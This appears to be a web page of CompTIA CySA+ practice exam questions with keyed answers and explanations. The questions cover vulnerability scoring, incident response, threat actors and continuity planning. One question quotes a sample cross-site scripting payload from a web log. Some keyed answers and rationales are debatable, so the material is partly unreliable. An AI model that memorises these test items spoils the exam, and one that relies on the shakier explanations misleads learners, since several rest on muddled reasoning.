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Free CompTIA CySA+ CS0-003 Practice Questions

160 free CompTIA CySA+ CS0-003 practice questions from the CertStash pack of 641, each with the correct answer and a full explanation. The rule is the same for every exam: ten free on the product page, 160 free here, all 641 in the pack, and each step includes the one before it.

Question 1

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability.

Which of the following CVE metrics would be most accurate for this zero-day threat?

  1. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  2. CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
  3. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
  4. CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:H
Show answer and explanation

Correct answer: A. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The described threat is remotely exploitable, needs no privileges and no user interaction, and impacts confidentiality and integrity heavily while leaving availability untouched. Option A maps exactly to that profile: AV:N (network attack vector, consistent with active remote exploitation), AC:L (low complexity, as seen with a zero-day being exploited at scale), PR:N (no privilege escalation required), UI:N (no user interaction), S:U (unchanged scope), C:H and I:H (significant confidentiality and integrity loss), and A:N (no availability impact). No other vector combines all of these values.

Why the other options are wrong

  • B. It requires high privileges (PR:H) and user interaction (UI:R), and it lists an availability impact (A:L), contradicting the scenario.
  • C. It requires user interaction (UI:R), understates confidentiality loss (C:L), and adds a high availability impact the scenario says does not exist.
  • D. It restricts the attack to local access (AV:L), requires privileges and user interaction, and shows high availability impact with only low integrity impact.

Question 2

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

  1. PAM
  2. IDS
  3. PKI
  4. DLP
Show answer and explanation

Correct answer: D. DLP

Data Loss Prevention (DLP) is specifically designed to monitor, detect, and prevent unauthorized transmission of sensitive information including PII outside organizational boundaries. DLP tools scan data in motion and at rest to enforce policies against exfiltration. PAM manages privileged access, IDS detects intrusions, and PKI manages encryption, none are designed to specifically prevent PII exposure.

Why the other options are wrong

  • A. PAM controls privileged account access but doesn't prevent data exfiltration
  • B. IDS detects network intrusions but doesn't prevent sensitive data disclosure
  • C. PKI manages certificates and encryption but doesn't monitor for data exposure

Question 3

Which of the following items should be included in a vulnerability scan report? (Choose two.)

  1. Lessons learned
  2. Service-level agreement
  3. Playbook
  4. Affected hosts
  5. Risk score
  6. Education plan
Show answer and explanation

Correct answer: D, E. Affected hosts; Risk score

Affected hosts (D) and risk scores (E) are essential components of vulnerability scan reports as they identify which systems are vulnerable and prioritize remediation efforts. Lessons learned, playbooks, SLAs, and education plans are post-scan activities or separate documentation components, not standard elements of the scan report itself.

Why the other options are wrong

  • A. Lessons learned are derived after remediation, not part of initial scan output
  • B. SLAs are contractual terms, not vulnerability scan data
  • C. Playbooks are incident response procedures, not scan report contents
  • F. Education plans are developed separately from technical scan results

Question 4

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released.

Which of the following would best protect this organization?

  1. A mean time to remediate of 30 days
  2. A mean time to detect of 45 days
  3. A mean time to respond of 15 days
  4. Third-party application testing
Show answer and explanation

Correct answer: A. A mean time to remediate of 30 days

Since exploits occur 45 days after patch release, establishing a Mean Time To Remediate (MTTR) of 30 days ensures patches are deployed before widespread exploitation occurs. This directly addresses the threat window. MTTD of 45 days would match the exploit timeline (too slow), MTTR of 15 days only measures response time without guaranteeing completion, and third-party testing adds delay to patch deployment.

Why the other options are wrong

  • B. MTTD of 45 days matches the exploitation timeline, providing no protection advantage
  • C. MTTR of 15 days measures response initiation but doesn't guarantee completion within the threat window
  • D. Third-party testing adds time before patches are deployed, increasing vulnerability exposure

Question 5

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS.

Which of the following most likely describes the observed activity?

  1. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
  2. An on-path attack is being performed by someone with internal access that forces users into port 80
  3. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
  4. An error was caused by BGP due to new rules applied over the company's internal routers
Show answer and explanation

Correct answer: B. An on-path attack is being performed by someone with internal access that forces users into port 80

An on-path attacker with internal access can intercept HTTPS requests and force downgrade to HTTP (port 80), which explains why users intermittently see both HTTP and HTTPS access. This is consistent with compromised user accounts and represents an active man-in-the-middle attack. SSL certificate issues would cause complete unavailability, load balancing wouldn't downgrade protocols, and BGP changes don't affect individual user protocol selection.

Why the other options are wrong

  • A. SSL certificate issues cause consistent HTTPS failures, not intermittent switching between protocols
  • C. Web servers under load use internal queuing, not protocol downgrade to HTTP
  • D. BGP operates at network routing layer and doesn't control application-layer protocol selection

Question 6

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

  1. Business continuity plan
  2. Vulnerability management plan
  3. Disaster recovery plan
  4. Asset management plan
Show answer and explanation

Correct answer: A. Business continuity plan

A business continuity plan is designed to keep mission-critical business functions and services running during and after an incident. It identifies essential services and the measures needed to maintain them while the disruption is under way. A disaster recovery plan is narrower, focusing on restoring IT systems after a disaster has occurred.

Why the other options are wrong

  • B. A vulnerability management plan finds and remediates weaknesses to prevent incidents, it does not keep services running once one occurs.
  • C. A disaster recovery plan focuses on restoring IT systems and data after a disaster, which is a subset of continuity rather than keeping services available throughout the incident.
  • D. An asset management plan tracks hardware and software inventory and does not ensure service availability during an incident.

Question 7

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization.

Which of the following solutions will assist in reducing the risk?

  1. Deploy a CASB and enable policy enforcement
  2. Configure MFA with strict access
  3. Deploy an API gateway
  4. Enable SSO to the cloud applications
Show answer and explanation

Correct answer: A. Deploy a CASB and enable policy enforcement

A Cloud Access Security Broker (CASB) with policy enforcement provides visibility into shadow IT cloud applications and enforces organizational security policies, data protection rules, and compliance controls. CASBs monitor and block unauthorized cloud use while allowing sanctioned applications. MFA, API gateways, and SSO improve security but don't specifically eliminate shadow IT or reduce the risk of unsanctioned cloud applications.

Why the other options are wrong

  • B. MFA secures authentication but doesn't prevent unauthorized cloud application use
  • C. API gateways manage API access but don't address shadow IT cloud application discovery and control
  • D. SSO improves authentication but doesn't prevent employees from using unsanctioned cloud services

Question 8

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack.

Which of the following logs should the team review first?

  1. CDN
  2. Vulnerability scanner
  3. DNS
  4. Web server
Show answer and explanation

Correct answer: C. DNS

When investigating a DDoS attack causing internet outage, DNS logs should be reviewed first to identify if the attack involved DNS amplification, DNS flooding, or DNS hijacking. DNS logs will show the attack pattern and help determine the attack vector. While CDN, vulnerability scanner, and web server logs may provide supporting information, DNS logs are most relevant for understanding how the external connectivity was disrupted.

Why the other options are wrong

  • A. CDN logs would show content delivery issues but not the root cause of the DDoS attack itself.
  • B. Vulnerability scanner logs are irrelevant to a DDoS attack investigation.
  • D. Web server logs might show traffic patterns but DNS logs are more fundamental to understanding connectivity loss.

Question 9

A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack.

Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

  1. Weaponization
  2. Reconnaissance
  3. Delivery
  4. Exploitation
Show answer and explanation

Correct answer: D. Exploitation

The actor has already gained access through social engineering (Delivery phase) and is now maintaining that access to continue the attack. This is the Exploitation stage, where the attacker has successfully compromised the system and is working to maintain persistence and control. The actor's concern about losing access indicates they are actively exploiting the compromised environment.

Why the other options are wrong

  • A. Weaponization occurs before delivery when the attacker prepares malicious tools.
  • B. Reconnaissance is the initial information gathering phase, not after gaining access.
  • C. Delivery is the phase where the attack vector is sent, which has already occurred.

Question 10

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets.

Which of the following steps of an attack framework is the analyst witnessing?

  1. Exploitation
  2. Reconnaissance
  3. Command and control
  4. Actions on objectives
Show answer and explanation

Correct answer: B. Reconnaissance

An external IP address running network and vulnerability scans against external-facing assets is conducting reconnaissance. This is the second phase of the attack framework where the attacker gathers information about the target systems, their vulnerabilities, and network topology to prepare for future attacks.

Why the other options are wrong

  • A. Exploitation involves actually compromising systems, not just scanning.
  • C. Command and control is established after a successful compromise.
  • D. Actions on objectives occur after exploitation when the attacker achieves their goals.

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Question 11

A company’s security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices?

  1. Help desk
  2. Law enforcement
  3. Legal department
  4. Board member
Show answer and explanation

Correct answer: C. Legal department

When updating reporting policies regarding inappropriate use of company resources (such as installing cryptominers), the issue should first be escalated to the Legal department. Legal must be involved to ensure compliance with employment law, liability concerns, and proper documentation of policy violations. This is an industry best practice for any policy update involving employee misconduct.

Why the other options are wrong

  • A. The Help desk manages technical support but is not responsible for policy updates or legal compliance.
  • B. Law enforcement involvement is premature for policy updates; it only becomes relevant if criminal activity is confirmed.
  • D. Board member involvement is not necessary at the initial escalation stage for operational policy updates.

Question 12

During a security test, a security analyst found a critical application with a buffer overflow vulnerability.

Which of the following would be best to mitigate the vulnerability at the application level?

  1. Perform OS hardening.
  2. Implement input validation.
  3. Update third-party dependencies.
  4. Configure address space layout randomization.
Show answer and explanation

Correct answer: B. Implement input validation.

A buffer overflow occurs because the application copies attacker-supplied data into a buffer without checking its length or content. Implementing proper input validation (and bounds checking) inside the code is the mitigation that addresses the defect at the application level, preventing oversized or malformed input from ever reaching the vulnerable buffer.

Why the other options are wrong

  • A. OS hardening secures the underlying platform, not the flawed application code.
  • C. Updating third-party dependencies helps only if the flaw resides in a library, and it does not fix the application's own unchecked input handling.
  • D. ASLR is an operating-system-level compensating control that makes exploitation harder but leaves the application vulnerability itself in place.

Question 13

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on its infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host.

Which of the following data sources would most likely reveal evidence of the root cause? (Choose two.)

  1. Creation time of dropper
  2. Registry artifacts
  3. EDR data
  4. Prefetch files
  5. File system metadata
  6. Sysmon event log
Show answer and explanation

Correct answer: B, C. Registry artifacts; EDR data

Registry artifacts (B) would reveal evidence of the malware's system modifications and persistence mechanisms that disable security services, even after deletion. EDR data (C) provides endpoint detection and response logs that capture behavioral evidence and system activity at the time of infection, which would not be deleted by the malware's cleanup routines since it exists on a separate console.

Why the other options are wrong

  • A. Creation time of dropper would be deleted by the malware's cleanup routines as stated in the scenario.
  • D. Prefetch files are explicitly mentioned as being removed by the malware's cleanup routines.
  • E. File system metadata of the initial dropper would also be deleted during cleanup, making it unavailable.
  • F. Event log entries are explicitly mentioned as being removed by the malware's cleanup routines.

Question 14

Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?

  1. Join an information sharing and analysis center specific to the company's industry
  2. Upload threat intelligence to the IPS in STIX'TAXII format
  3. Add data enrichment for IPs in the ingestion pipeline
  4. Review threat feeds after viewing the SIEM alert
Show answer and explanation

Correct answer: C. Add data enrichment for IPs in the ingestion pipeline

Data enrichment in the SIEM ingestion pipeline enables real-time IP reputation lookups during alert generation, allowing analysts to immediately see whether an IP is known-malicious without additional manual steps. This automated enrichment adds threat intelligence context directly to alerts before the analyst reviews them, providing the quickest way to determine IP status. Options A, B, and D all require manual post-alert actions that delay the determination of IP reputation.

Why the other options are wrong

  • A. Joining an ISACs takes time to implement and still requires manual threat feed review rather than automatic enrichment.
  • B. STIX/TAXII format describes data structure but doesn't automatically enrich SIEM alerts; it requires additional configuration and processing.
  • D. Reviewing threat feeds after viewing an alert is reactive and slower than having enrichment already applied during alert ingestion.

Question 15

Which of the following threat actors is most likely to target a company due to its questionable environmental policies?

  1. Hacktivist
  2. Organized crime
  3. Nation-state
  4. Lone wolf
Show answer and explanation

Correct answer: A. Hacktivist

Hacktivists are motivated by ideological or political causes and target organizations they believe operate unethically or harmfully. Questionable environmental policies represent exactly the type of moral or ethical issue that drives hacktivist campaigns. Unlike other threat actors who are driven by financial gain, espionage, or random targeting, hacktivists specifically select targets based on perceived wrongdoing or social responsibility issues.

Why the other options are wrong

  • B. Organized crime is motivated by financial profit and targets companies for money, not for their environmental policies.
  • C. Nation-states target for geopolitical advantage and espionage, not for activism against corporate environmental policies.
  • D. Lone wolves may be unpredictable but are not characteristically motivated by corporate environmental issues like hacktivists are.

Question 16

An organization's threat intelligence team notes a recent trend in adversary privilege escalation procedures. Multiple threat groups have been observed utilizing native

Windows tools to bypass system controls and execute commands with privileged credentials.

Which of the following controls would be most effective to reduce the rate of success of such attempts?

  1. Set user account control protection to the most restrictive level on all devices
  2. Implement MFA requirements for all internal resources
  3. Harden systems by disabling or removing unnecessary services
  4. Implement controls to block execution of untrusted applications
Show answer and explanation

Correct answer: C. Harden systems by disabling or removing unnecessary services

The question specifically mentions adversaries using native Windows tools to bypass controls and escalate privileges. Disabling or removing unnecessary services eliminates the attack surface that these native tools can exploit. While UAC hardening (A) helps, it can be bypassed by native tools. MFA (B) doesn't prevent privilege escalation techniques once on the system. Blocking untrusted applications (D) is ineffective against native Windows tools which are inherently trusted.

Why the other options are wrong

  • A. UAC can still be bypassed by sophisticated privilege escalation techniques using native tools.
  • B. MFA protects authentication but doesn't prevent privilege escalation on compromised systems.
  • D. Native Windows tools are trusted by default, so application execution blocking would be ineffective.

Question 17

An organization recently changed its BC and DR plans.

Which of the following would best allow for the incident response team to test the changes without any impact to the business?

  1. Perform a tabletop drill based on previously identified incident scenarios.
  2. Simulate an incident by shutting down power to the primary data center.
  3. Migrate active workloads from the primary data center to the secondary location.
  4. Compare the current plan to lessons learned from previous incidents.
Show answer and explanation

Correct answer: A. Perform a tabletop drill based on previously identified incident scenarios.

A tabletop drill is a non-disruptive testing method where the incident response team walks through scenarios and discusses responses without actually impacting systems or business operations. It allows validation of updated BC/DR plans in a controlled, discussion-based environment while keeping all systems operational.

Why the other options are wrong

  • B. Shutting down power to the primary data center would cause actual business impact and disruption, defeating the goal of testing without impact.
  • C. Migrating active workloads is a real operational change that would impact the business during testing.
  • D. Comparing to lessons learned does not actually test the new changes or validate their effectiveness.

Question 18

A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface.

Which of the following should the analyst do first?

  1. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
  2. Write a removable media policy that explains that USBs cannot be connected to a company asset.
  3. Check configurations to determine whether USB ports are enabled on company assets.
  4. Review logs to see whether this exploitable vulnerability has already impacted the company.
Show answer and explanation

Correct answer: C. Check configurations to determine whether USB ports are enabled on company assets.

Before implementing any mitigation strategy, the analyst must first understand the current state of the infrastructure by checking whether USB ports are enabled on company assets. This assessment determines what controls are already in place and guides the prioritization of subsequent mitigation efforts.

Why the other options are wrong

  • A. Awareness training, while valuable, is secondary to understanding current technical controls.
  • B. Writing policy before understanding current configurations may result in unenforceable or redundant policies.
  • D. Reviewing logs for past impacts is important but comes after assessing current vulnerability exposure.

Question 19

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

  1. Enrich the SIEM-ingested data to include all data required for triage
  2. Schedule a task to disable alerting when vulnerability scans are executing
  3. Filter all alarms in the SIEM with low seventy
  4. Add a SOAR rule to drop irrelevant and duplicated notifications
Show answer and explanation

Correct answer: D. Add a SOAR rule to drop irrelevant and duplicated notifications

A SOAR (Security Orchestration, Automation and Response) rule can automatically identify, correlate, and drop irrelevant alerts and duplicates before they reach analysts. This reduces the volume of alerts analysts must triage while preserving legitimate security notifications, making it the most effective approach for reducing internal security activity alerts.

Why the other options are wrong

  • A. Data enrichment helps with triage efficiency but doesn't reduce the number of alerts analysts must review.
  • B. Disabling alerting during scans could miss real security incidents occurring simultaneously with scheduled activities.
  • C. Filtering by low severity still requires alerts to be generated and processed; it only hides them, not prevents alert volume.

Question 20

A security team needs to demonstrate how prepared the team is in the event of a cyberattack.

Which of the following would best demonstrate a real-world incident without impacting operations?

  1. Review lessons-learned documentation and create a playbook.
  2. Gather all internal incident response party members and perform a simulation.
  3. Deploy known malware and document the remediation process.
  4. Schedule a system recovery to the DR site for a few applications.
Show answer and explanation

Correct answer: B. Gather all internal incident response party members and perform a simulation.

A simulation or tabletop exercise with internal incident response team members best demonstrates real-world preparedness without impacting operations, allowing the team to practice procedures, identify gaps, and improve coordination in a controlled environment.

Why the other options are wrong

  • A. Reviewing lessons learned creates documentation but doesn't demonstrate current team capability and readiness.
  • C. Deploying actual malware creates real risk and operational impact, violating the requirement to avoid disruption.
  • D. A scheduled DR recovery tests disaster recovery capability, not incident response preparedness for cyberattacks.

Question 21

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware.

Which of the following factors would an analyst most likely communicate as the reason for this escalation?

  1. Scope
  2. Weaponization
  3. CVSS
  4. Asset value
Show answer and explanation

Correct answer: B. Weaponization

Weaponization is the factor that causes CVSS score escalation when a previously disclosed vulnerability gains a widely available exploit being actively used for attacks like ransomware delivery. While CVSS is the scoring system itself, weaponization specifically refers to the availability and active use of exploits, which is a critical factor in threat intelligence that justifies score increases.

Why the other options are wrong

  • A. Scope in CVSS is a fixed metric that doesn't change after initial scoring based on exploit availability.
  • C. CVSS is the system used, not the reason for escalation; the reason is the increased threat from active exploitation.
  • D. Asset value may influence prioritization but is not a CVSS metric or standard reason for score escalation.

Question 22

An organization has a critical financial application hosted online that does not allow event logging to send to the corporate SIEM.

Which of the following is the best option for the security analyst to configure to improve the efficiency of security operations?

  1. Configure a new SIEM specific to the management of the hosted environment.
  2. Subscribe to a threat feed related to the vendor's application.
  3. Use a vendor-provided API to automate pulling the logs in real time.
  4. Download and manually import the logs outside of business hours.
Show answer and explanation

Correct answer: C. Use a vendor-provided API to automate pulling the logs in real time.

When direct SIEM integration is unavailable, using a vendor-provided API to automate real-time log pulling is the most efficient solution for security operations. This approach maintains automated, continuous log collection without manual intervention, provides real-time visibility, and leverages the vendor's native integration capabilities. It's superior to manual imports and more practical than building a separate SIEM.

Why the other options are wrong

  • A. Building a separate SIEM is costly, resource-intensive, and creates operational fragmentation rather than improving efficiency.
  • B. Threat feeds provide intelligence but don't solve the core problem of collecting application logs for security analysis.
  • D. Manual imports are labor-intensive, error-prone, and defeat the purpose of efficient security operations with real-time visibility.

Question 23

The SOC received a threat intelligence notification indicating that an employee’s credentials were found on the dark web. The user’s web and log-in activities were reviewed for malicious or anomalous connections, data uploads/downloads, and exploits. A review of the controls confirmed multifactor authentication was enabled.

Which of the following should be done first to mitigate impact to the business networks and assets?

  1. Perform a forced password reset.
  2. Communicate the compromised credentials to the user.
  3. Perform an ad hoc AV scan on the user's laptop.
  4. Review and ensure privileges assigned to the user’s account reflect least privilege.
  5. Lower the thresholds for SOC alerting of suspected malicious activity
Show answer and explanation

Correct answer: A. Perform a forced password reset.

When credentials are compromised, the immediate priority is to prevent their use by threat actors. A forced password reset invalidates the exposed credentials and prevents unauthorized access, which is the fastest way to mitigate business impact. While MFA is already enabled (providing some protection), resetting the password ensures the compromised credentials cannot be used even if MFA is bypassed or if the attacker attempts credential stuffing elsewhere.

Why the other options are wrong

  • B. Notifying the user is important but comes after taking action to secure the account.
  • C. An AV scan is useful for detection but doesn't address the immediate threat of compromised credentials being used.
  • D. Reviewing least privilege is a good practice but doesn't address the immediate compromise mitigation.
  • E. Adjusting SOC thresholds is reactive monitoring; it doesn't mitigate the active threat.

Question 24

An organization has deployed a cloud-based storage system for shared data that is in phase two of the data life cycle.

Which of the following controls should the security team ensure are addressed? (Choose two.)

  1. Data classification
  2. Data destruction
  3. Data loss prevention
  4. Encryption
  5. Backups
  6. Access controls
Show answer and explanation

Correct answer: D, F. Encryption; Access controls

Phase two of the data lifecycle is the use and storage phase. During this phase, encryption ensures data confidentiality and protection, while access controls restrict who can view or manipulate the data. These controls are essential for protecting data while it is actively stored and accessed in the cloud system.

Why the other options are wrong

  • A. Data classification occurs in phase one (creation and collection) before phase two.
  • B. Data destruction is part of phase four (end-of-life), not phase two.
  • C. Data loss prevention is important but is more of a technical implementation of access controls rather than a primary control for phase two.
  • E. Backups are part of data protection/recovery but are not the primary controls specifically for the use/storage phase.

Question 25

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

  1. Command and control
  2. Actions on objectives
  3. Exploitation
  4. Delivery
Show answer and explanation

Correct answer: A. Command and control

The Command and Control (C2) phase is when the attacker establishes a communication channel with the compromised target to issue commands and maintain persistent access. This occurs after successful exploitation and is fundamental to the attacker maintaining control over the compromised system.

Why the other options are wrong

  • B. Actions on objectives occurs after C2 is established and involves the attacker achieving their goals
  • C. Exploitation is when vulnerabilities are triggered, occurring before C2 communication is established
  • D. Delivery is when the exploit payload is delivered to the target, occurring before exploitation

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Question 26

A security team conducts a lessons-learned meeting after struggling to determine who should conduct the next steps following a security event.

Which of the following should the team create to address this issue?

  1. Service-level agreement
  2. Change management plan
  3. Incident response plan
  4. Memorandum of understanding
Show answer and explanation

Correct answer: C. Incident response plan

An incident response plan explicitly defines roles, responsibilities, and procedures for who performs which actions during and after security events. This directly addresses the team's issue of unclear responsibility assignment. A service-level agreement covers service expectations, a change management plan covers system changes, and a memorandum of understanding is a general agreement document, none specifically define incident response roles and escalation procedures.

Why the other options are wrong

  • A. Service-level agreements define service performance expectations, not incident response roles
  • B. Change management plans govern system modifications, not incident response procedures
  • D. Memorandum of understanding is a general agreement but doesn't specifically define incident response procedures

Question 27

During a tabletop exercise, engineers discovered that an ICS could not be updated due to hardware versioning incompatibility.

Which of the following is the most likely cause of this issue?

  1. Legacy system
  2. Business process interruption
  3. Degrading functionality
  4. Configuration management
Show answer and explanation

Correct answer: A. Legacy system

A legacy system is the most likely cause when hardware versioning incompatibility prevents updates to an ICS (Industrial Control System). Legacy systems often have outdated hardware that cannot support modern software patches or updates, creating a common challenge in operational technology environments.

Why the other options are wrong

  • B. Business process interruption is a consequence of the issue, not the cause of hardware incompatibility.
  • C. Degrading functionality describes the effect but not the underlying cause of the incompatibility.
  • D. Configuration management addresses how systems are maintained, not the root cause of hardware version incompatibility.

Question 28

Which of the following is a reason proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response?

  1. To ensure the report is legally acceptable in case it needs to be presented in court
  2. To present a lessons-learned analysis for the incident response team
  3. To ensure the evidence can be used in a postmortem analysis
  4. To prevent the possible loss of a data source for further root cause analysis
Show answer and explanation

Correct answer: A. To ensure the report is legally acceptable in case it needs to be presented in court

Proper chain of custody and evidence handling procedures ensure that evidence remains admissible in court proceedings. This is critical because forensic evidence that is mishandled, contaminated, or improperly documented can be challenged and excluded from legal proceedings, undermining any potential prosecution or litigation related to the incident.

Why the other options are wrong

  • B. Lessons-learned analysis uses incident data but doesn't specifically require the formal legal standards of evidence handling.
  • C. Postmortem analysis can be performed with improperly handled evidence; chain of custody matters more for legal proceedings than technical analysis.
  • D. While preserving data sources is important, the primary reason for strict evidence handling procedures is legal admissibility in court.

Question 29

A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers.

Which of the following actions would allow the analyst to achieve the objective?

  1. Upload the binary to an air gapped sandbox for analysis
  2. Send the binaries to the antivirus vendor
  3. Execute the binaries on an environment with internet connectivity
  4. Query the file hashes using VirusTotal
Show answer and explanation

Correct answer: A. Upload the binary to an air gapped sandbox for analysis

Uploading binaries to an air-gapped sandbox ensures analysis without disclosing information to attackers because the isolated environment has no internet connectivity, preventing the malware from communicating with command-and-control servers or allowing attackers to detect the analysis. This maintains operational security by keeping the investigation hidden from adversaries.

Why the other options are wrong

  • B. Sending binaries to antivirus vendors immediately discloses the malware samples to third parties and potentially to attackers.
  • C. Executing on an internet-connected environment allows malware to communicate with attackers, revealing the analysis.
  • D. Querying VirusTotal uploads the file hash and sample to a public service, immediately disclosing the investigation to attackers.

Question 30

Which of the following would an organization use to develop a business continuity plan?

  1. A diagram of all systems and interdependent applications
  2. A repository for all the software used by the organization
  3. A prioritized list of critical systems defined by executive leadership
  4. A configuration management database in print at an off-site location
Show answer and explanation

Correct answer: C. A prioritized list of critical systems defined by executive leadership

A business continuity plan requires a prioritized list of critical systems defined by executive leadership to determine recovery priorities and resource allocation. This list establishes which systems must be restored first and guides the entire BC/DR strategy.

Why the other options are wrong

  • A. A system diagram is useful but does not prioritize which systems are most critical to business operations.
  • B. A software repository is a configuration management tool, not a BC planning input.
  • D. While a CMDB is useful, printing it off-site is an archival practice, not a BC planning tool.

Question 31

Which of the following best describes the goal of a disaster recovery exercise as preparation for possible incidents?

  1. To provide metrics and test continuity controls
  2. To verify the roles of the incident response team
  3. To provide recommendations for handling vulnerabilities
  4. To perform tests against implemented security controls
Show answer and explanation

Correct answer: A. To provide metrics and test continuity controls

The primary goal of disaster recovery exercises is to provide metrics demonstrating how well continuity controls function under stress conditions, validating recovery time objectives (RTO) and recovery point objectives (RPO). These exercises test whether the organization can actually recover operations and measure the effectiveness of implemented controls.

Why the other options are wrong

  • B. While incident response teams may be involved, exercises focus on operational continuity metrics rather than verifying team roles.
  • C. Vulnerability recommendations come from vulnerability assessments, not disaster recovery exercises.
  • D. This describes security testing; disaster recovery exercises focus specifically on continuity and recovery capabilities.

Question 32

Which of the following best explains the importance of communicating with staff regarding the official public communication plan related to incidents impacting the organization?

  1. To establish what information is allowed to be released by designated employees
  2. To designate an external public relations firm to represent the organization
  3. To ensure that all news media outlets are informed at the same lime
  4. To define how each employee will be contacted after an event occurs
Show answer and explanation

Correct answer: A. To establish what information is allowed to be released by designated employees

Communicating with staff about the official public communication plan establishes clear guidelines on what information is allowed to be released and by whom. This prevents inconsistent or unauthorized statements and ensures the organization maintains control over its messaging during an incident.

Why the other options are wrong

  • B. Designating external PR firms is an implementation detail, not the primary importance of communicating the plan.
  • C. Timing media notification is important but secondary to establishing what can be communicated.
  • D. Employee contact procedures are part of internal incident response, not public communication strategy.

Question 33

A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account.

Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?

  1. Scan the employee's computer with virus and malware tools
  2. Review the actions taken by the employee and the email related to the event
  3. Contact human resources and recommend the termination of the employee
  4. Assign security awareness training to the employee involved in the incident
Show answer and explanation

Correct answer: B. Review the actions taken by the employee and the email related to the event

When receiving notification of a phishing attack, the first action should be to review the employee's actions and the email itself to understand the incident scope, timeline, and how the attack succeeded. This investigation is critical for initial triage and determining containment needs before taking additional actions. Scanning the computer (A) is premature without understanding what occurred. Terminating the employee (C) is inappropriate and premature, the employee was a victim. Training (D) should follow investigation and containment, not be a first response. Documentation and analysis must precede other actions.

Why the other options are wrong

  • A. Malware scanning is a containment step, not the first action in incident triage
  • C. Terminating an employee who was phishing victim is inappropriate and premature
  • D. Training is a remediation step that follows investigation and containment

Question 34

While reviewing web server logs, a security analyst found the following line:

< IMG SRC='vbscript:msgbox("test")' >

Which of the following malicious activities was attempted?

  1. Command injection
  2. XML injection
  3. Server-side request forgery
  4. Cross-site scripting
Show answer and explanation

Correct answer: D. Cross-site scripting

The HTML IMG tag with a vbscript: URI scheme is attempting to execute client-side script in the context of a web page. This is a classic XSS attack where malicious script is injected into HTML to execute in users' browsers. The vbscript: protocol handler would attempt to run VBScript code when the image tag is processed.

Why the other options are wrong

  • A. Command injection targets server-side command execution, not client-side script injection in HTML.
  • B. XML injection involves malicious XML payload insertion, not HTML/JavaScript vectors.
  • C. Server-side request forgery makes the server perform requests on behalf of an attacker, not client-side script execution.

Question 35

To minimize the impact of a security incident, a cybersecurity analyst has configured audit settings in the organization’s cloud services.

Which of the following security controls has the analyst configured?

  1. Preventive
  2. Corrective
  3. Directive
  4. Detective
Show answer and explanation

Correct answer: D. Detective

Configuring audit settings in cloud services is a detective control because it enables identification and logging of events and activities after they occur. Detective controls help monitor and record security events to identify incidents and breaches, allowing analysts to see what has happened in the system.

Why the other options are wrong

  • A. Preventive controls stop incidents before they occur, not audit settings which record events.
  • B. Corrective controls remediate damage after an incident, while auditing is for detection and investigation.
  • C. Directive controls guide desired behavior and actions, not the observation of system activities through auditing.

Question 36

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?

  1. MOU
  2. NDA
  3. BIA
  4. SLA
Show answer and explanation

Correct answer: D. SLA

An SLA (Service Level Agreement) is a contract that defines the various levels of maintenance, support, and services to be provided by an external vendor in a secure environment. It specifies performance metrics, uptime guarantees, and service expectations between the organization and vendor.

Why the other options are wrong

  • A. MOU (Memorandum of Understanding) is a preliminary, non-binding agreement, not a formal service definition contract.
  • B. NDA (Non-Disclosure Agreement) addresses confidentiality and information protection, not service levels.
  • C. BIA (Business Impact Analysis) is an assessment tool for continuity planning, not a vendor service contract.

Question 37

During the rollout of a patch to the production environment, it was discovered that required connections to remote systems are no longer possible.

Which of the following steps would have most likely revealed this gap?

  1. Implementation
  2. User acceptance testing
  3. Validation
  4. Rollback
Show answer and explanation

Correct answer: B. User acceptance testing

User acceptance testing (UAT) is the phase where end users validate that the system functions correctly in a production-like environment before actual production deployment. This is where connectivity issues to remote systems would be discovered, as UAT involves testing real-world scenarios and integrations that patches may affect. Validation typically refers to technical verification of requirements, Implementation is the actual deployment, and Rollback is the corrective action after failure, none of these would proactively reveal the gap before production impact.

Why the other options are wrong

  • A. Implementation is the deployment phase itself, which occurs after testing should have identified issues.
  • C. Validation typically refers to technical verification of system requirements, not end-user functional testing of integrations.
  • D. Rollback is a corrective action taken after a problem is discovered, not a preventive testing step.

Question 38

